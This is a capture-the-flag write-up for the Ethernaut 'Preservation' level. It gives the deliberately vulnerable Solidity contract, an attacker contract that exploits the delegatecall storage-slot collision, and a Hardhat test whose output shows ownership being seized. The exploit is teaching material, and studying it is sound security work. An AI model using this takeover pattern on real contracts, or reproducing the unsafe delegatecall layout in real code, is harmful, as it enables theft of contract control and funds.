Ethernaut Solutions: 16-Preservation

This challenge highlights the risks associated with using delegatecall. The primary concept to remember is that delegatecall works by affecting the storage slots of the caller contract. To solve this level, we deploy our own “Attacker” contract and call setFirstTime() with Attacker’s address expressed as a uint twice to override the address stored in the owner storage variable that is stored in slot 2.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

// Simple library contract to set the time
contract Attacker {

  uint storage1;
  uint storage2;
  uint storage3; //This is the storage slot we are interested in

  function setTime(uint newAddress) public {
    storage3 = newAddress;
  }
}
//Hardhat Test (solution.js):

const { expect } = require("chai");
const { Wallet } = require("ethers");
const { ethers, network } = require("hardhat");

describe("preservation.sol", () => {

    describe("Test run", () => {
        it("should run fine", async () => {
            
            // Lets first deploy two instances of LibraryContract
            const [owner] = await ethers.getSigners();    
            const libraryContract = await ethers.getContractFactory("LibraryContract")
            const library1 = await libraryContract.deploy();
            await library1.deployed();
            const library2 = await libraryContract.deploy();
            await library2.deployed();

            // Deploy Preservation and supply 2 instances of LibraryContract to the constructor
            const preservationContract = await ethers.getContractFactory("Preservation")
            const preservation = await preservationContract.deploy(library1.address, library2.address);
            await preservation.deployed();

            // Deploy our Attacker contract
            const attackerContract = await ethers.getContractFactory("Attacker")
            const attacker = await attackerContract.deploy();
            await attacker.deployed();

            // Get attacker address
            console.log("Attacker Address: ", attacker.address)

            console.log("Owner address before attack: ", await ethers.provider.getStorageAt(preservation.address, 2))
            
            // 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9 = 1184589422945421143511828701991100965039074119625
            const addressInDecimal = 1184589422945421143511828701991100965039074119625n;
            await preservation.setFirstTime(addressInDecimal)
            await preservation.setFirstTime(addressInDecimal)

            console.log("Owner address after attack: ", await ethers.provider.getStorageAt(preservation.address, 2))

        });
    });
});
root@ununtu-vm:/home/user/Desktop/hardhat/ethernaut/preservation# npx hardhat test

  preservation.sol
    Test run
Attacker Address:  0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9
Owner address before attack:  0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266
Owner address after attack:  0x000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9
      ✔ should run fine (1160ms)

  1 passing (1s)